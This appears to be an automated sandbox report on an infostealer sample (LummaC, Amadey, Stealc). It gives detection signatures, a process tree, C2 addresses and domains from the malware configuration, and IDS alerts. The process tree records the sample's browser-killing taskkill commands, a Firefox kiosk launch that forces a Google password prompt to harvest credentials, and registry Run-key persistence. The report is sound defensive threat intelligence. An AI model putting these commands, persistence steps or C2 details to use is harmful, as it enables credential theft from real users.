Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1540246
MD5:	df1b115ceeeb801e6987b690be5de396
SHA1:	fde13ad5dca46dfb75934d89a90467d42c177472
SHA256:	bd9db41e76c3c708f9fd9bad467d5c1f07e564cd419dcd07edaa11fab56df9cd
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

PE file has a writeable .text section

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5328 cmdline: "C:\Users\user\Desktop\file.exe" MD5: DF1B115CEEEB801E6987B690BE5DE396)

S14AV77TIR9DRWSCWIW0.exe (PID: 2300 cmdline: "C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe" MD5: 25F36015A3A69B1E48DDE48C0257C315)

skotes.exe (PID: 7444 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 25F36015A3A69B1E48DDE48C0257C315)

7RNKVR1EZ552XQ73.exe (PID: 5628 cmdline: "C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe" MD5: 3A3583CA7503B6EFFBFF20F498F3EBB4)

QDDSFWH7TPMYGYIMIOWX7SBOU5.exe (PID: 7208 cmdline: "C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe" MD5: 88597591C774A2493FA0AC9983771095)

skotes.exe (PID: 7720 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 25F36015A3A69B1E48DDE48C0257C315)

976d9f40c1.exe (PID: 7908 cmdline: "C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe" MD5: DF1B115CEEEB801E6987B690BE5DE396)

606f2f6db0.exe (PID: 8156 cmdline: "C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe" MD5: 3A3583CA7503B6EFFBFF20F498F3EBB4)

2d569de7b1.exe (PID: 7448 cmdline: "C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe" MD5: F354EF86B6AD1E5D6BA590A198827066)

taskkill.exe (PID: 5480 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2636 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4144 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3836 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3724 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5628 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4052 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1644 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 4072 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 6704 cmdline: "C:\Users\user\AppData\Local\Temp\1000979001\num.exe" MD5: 791FCEE57312D4A20CC86AE1CEA8DFC4)

976d9f40c1.exe (PID: 652 cmdline: "C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe" MD5: DF1B115CEEEB801E6987B690BE5DE396)

firefox.exe (PID: 2300 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7456 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7292 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2184 -parentBuildID 20230927232528 -prefsHandle 2132 -prefMapHandle 2128 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b40077cd-dd11-4133-b7ff-87ccb7cbcf33} 7456 "\\.\pipe\gecko-crash-server-pipe.7456" 1378e86ed10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 1784 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2948 -parentBuildID 20230927232528 -prefsHandle 4268 -prefMapHandle 3212 -prefsLen 30974 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {0ae1ecd2-7e69-4001-87b4-63ef548d530a} 7456 "\\.\pipe\gecko-crash-server-pipe.7456" 1379e087210 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

976d9f40c1.exe (PID: 5604 cmdline: "C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe" MD5: DF1B115CEEEB801E6987B690BE5DE396)

606f2f6db0.exe (PID: 344 cmdline: "C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe" MD5: 3A3583CA7503B6EFFBFF20F498F3EBB4)

2d569de7b1.exe (PID: 6948 cmdline: "C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe" MD5: F354EF86B6AD1E5D6BA590A198827066)

taskkill.exe (PID: 2888 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6532 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1308 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5672 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6448 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 8168 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 8184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6768 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 5688 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3780 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 1400 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2140 -parentBuildID 20230927232528 -prefsHandle 2076 -prefMapHandle 2068 -prefsLen 26596 -prefMapSize 238335 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {02f5810b-dd2b-4de0-96e0-9800a8c8aecc} 3780 "\\.\pipe\gecko-crash-server-pipe.3780" 1a0b0b6ff10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 7404 cmdline: "C:\Users\user\AppData\Local\Temp\1000979001\num.exe" MD5: 791FCEE57312D4A20CC86AE1CEA8DFC4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: LummaC

{"C2 url": ["eaglepawnoy.store", "clearancek.site", "licendfilteo.site", "bathdoomgaz.store", "mobbipenju.store", "spirittunek.store", "dissapoiznw.store", "studennotediw.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Temp\1000979001\num.exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Temp\1000979001\num.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001D.00000000.2977404002.0000000000481000.00000080.00000001.01000000.00000017.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000003.2884674962.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000002.2319704443.00000000002D1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000006.00000003.2321093178.00000000053C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.2361822309.0000000000FE1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000002.3145991383.00000000000E1000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000023.00000000.3221111651.0000000000481000.00000080.00000001.01000000.00000017.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001F.00000002.3155884712.0000000000B5B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001F.00000003.3081987586.0000000004A80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000002.2936306936.000000000124E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000008.00000003.2646773633.0000000005110000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000023.00000002.3235939586.0000000000481000.00000080.00000001.01000000.00000017.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000003.2279367623.0000000004C70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000002.2934932135.00000000000E1000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000002.2993490502.0000000000B2E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000020.00000002.3341551842.0000000001388000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
0000001D.00000002.2992177721.0000000000481000.00000080.00000001.01000000.00000017.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000002.2320903364.0000000000E0E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000023.00000002.3237002232.0000000000D57000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000008.00000002.3335074148.0000000000FE1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000002.2342431976.0000000000DE1000.00000040.00000001.01000000.00000006.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000003.2254811095.0000000005250000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 5328	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 5328	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5328	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 7RNKVR1EZ552XQ73.exe PID: 5628	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 7RNKVR1EZ552XQ73.exe PID: 5628	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 606f2f6db0.exe PID: 8156	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 606f2f6db0.exe PID: 8156	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 2d569de7b1.exe PID: 7448	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Click to see the 25 entries

Unpacked PEs

Source	Rule	Description	Author
35.2.num.exe.480000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
29.2.num.exe.480000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
29.0.num.exe.480000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
8.2.skotes.exe.fe0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
35.0.num.exe.480000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
10.2.606f2f6db0.exe.e0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
6.2.skotes.exe.fe0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
31.2.606f2f6db0.exe.e0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
4.2.7RNKVR1EZ552XQ73.exe.2d0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
3.2.S14AV77TIR9DRWSCWIW0.exe.de0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 5 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7720, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\976d9f40c1.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7720, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\976d9f40c1.exe

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T15:48:07.000852+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49705	172.67.206.204	443	TCP
2024-10-23T15:48:08.158464+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49706	172.67.206.204	443	TCP
2024-10-23T15:48:17.626485+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49712	172.67.206.204	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T15:48:07.000852+0200	2049836	1	A Network Trojan was detected	192.168.2.5	49705	172.67.206.204	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T15:48:08.158464+0200	2049812	1	A Network Trojan was detected	192.168.2.5	49706	172.67.206.204	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T15:48:23.273637+0200	2019714	2	Potentially Bad Traffic	192.168.2.5	49713	185.215.113.16	80	TCP
2024-10-23T15:49:33.123922+0200	2019714	2	Potentially Bad Traffic	192.168.2.5	49996	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T15:49:17.867467+0200	2044696	1	A Network Trojan was detected	192.168.2.5	49989	185.215.113.43	80	TCP
2024-10-23T15:49:27.009267+0200	2044696	1	A Network Trojan was detected	192.168.2.5	49991	185.215.113.43	80	TCP
2024-10-23T15:49:32.032427+0200	2044696	1	A Network Trojan was detected	192.168.2.5	49995	185.215.113.43	80	TCP
2024-10-23T15:49:38.803942+0200	2044696	1	A Network Trojan was detected	192.168.2.5	50005	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T15:48:04.587109+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.5	52723	1.1.1.1	53	UDP
2024-10-23T15:49:16.294865+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.5	50573	1.1.1.1	53	UDP
2024-10-23T15:49:27.984231+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.5	59213	1.1.1.1	53	UDP
2024-10-23T15:49:38.600031+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.5	53807	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T15:48:04.516994+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.5	62507	1.1.1.1	53	UDP
2024-10-23T15:49:16.167680+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.5	58046	1.1.1.1	53	UDP
2024-10-23T15:49:27.907747+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.5	57306	1.1.1.1	53	UDP
2024-10-23T15:49:36.816641+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.5	50819	1.1.1.1	53	UDP
2024-10-23T15:49:37.815806+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.5	50819	1.1.1.1	53	UDP
2024-10-23T15:49:38.509113+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.5	60556	1.1.1.1	53	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T15:48:04.556126+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.5	60795	1.1.1.1	53	UDP
2024-10-23T15:49:16.272873+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.5	65031	1.1.1.1	53	UDP
2024-10-23T15:49:27.947284+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.5	63391	1.1.1.1	53	UDP
2024-10-23T15:49:38.557169+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.5	49650	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T15:48:04.544710+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.5	55808	1.1.1.1	53	UDP
2024-10-23T15:49:16.259768+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.5	49292	1.1.1.1	53	UDP
2024-10-23T15:49:27.935072+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.5	60644	1.1.1.1	53	UDP
2024-10-23T15:49:38.543560+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.5	52827	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T15:48:04.624623+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.5	54544	1.1.1.1	53	UDP
2024-10-23T15:49:16.324848+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.5	58684	1.1.1.1	53	UDP
2024-10-23T15:49:28.017739+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.5	64698	1.1.1.1	53	UDP
2024-10-23T15:49:38.665530+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.5	57069	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T15:48:04.531422+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.5	56217	1.1.1.1	53	UDP
2024-10-23T15:49:16.244206+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.5	58297	1.1.1.1	53	UDP
2024-10-23T15:49:27.920923+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.5	56873	1.1.1.1	53	UDP
2024-10-23T15:49:38.512244+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.5	49266	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T15:48:04.612075+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.5	55511	1.1.1.1	53	UDP
2024-10-23T15:49:16.311422+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.5	52498	1.1.1.1	53	UDP
2024-10-23T15:49:28.007040+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.5	59560	1.1.1.1	53	UDP
2024-10-23T15:49:38.622696+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.5	55530	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)

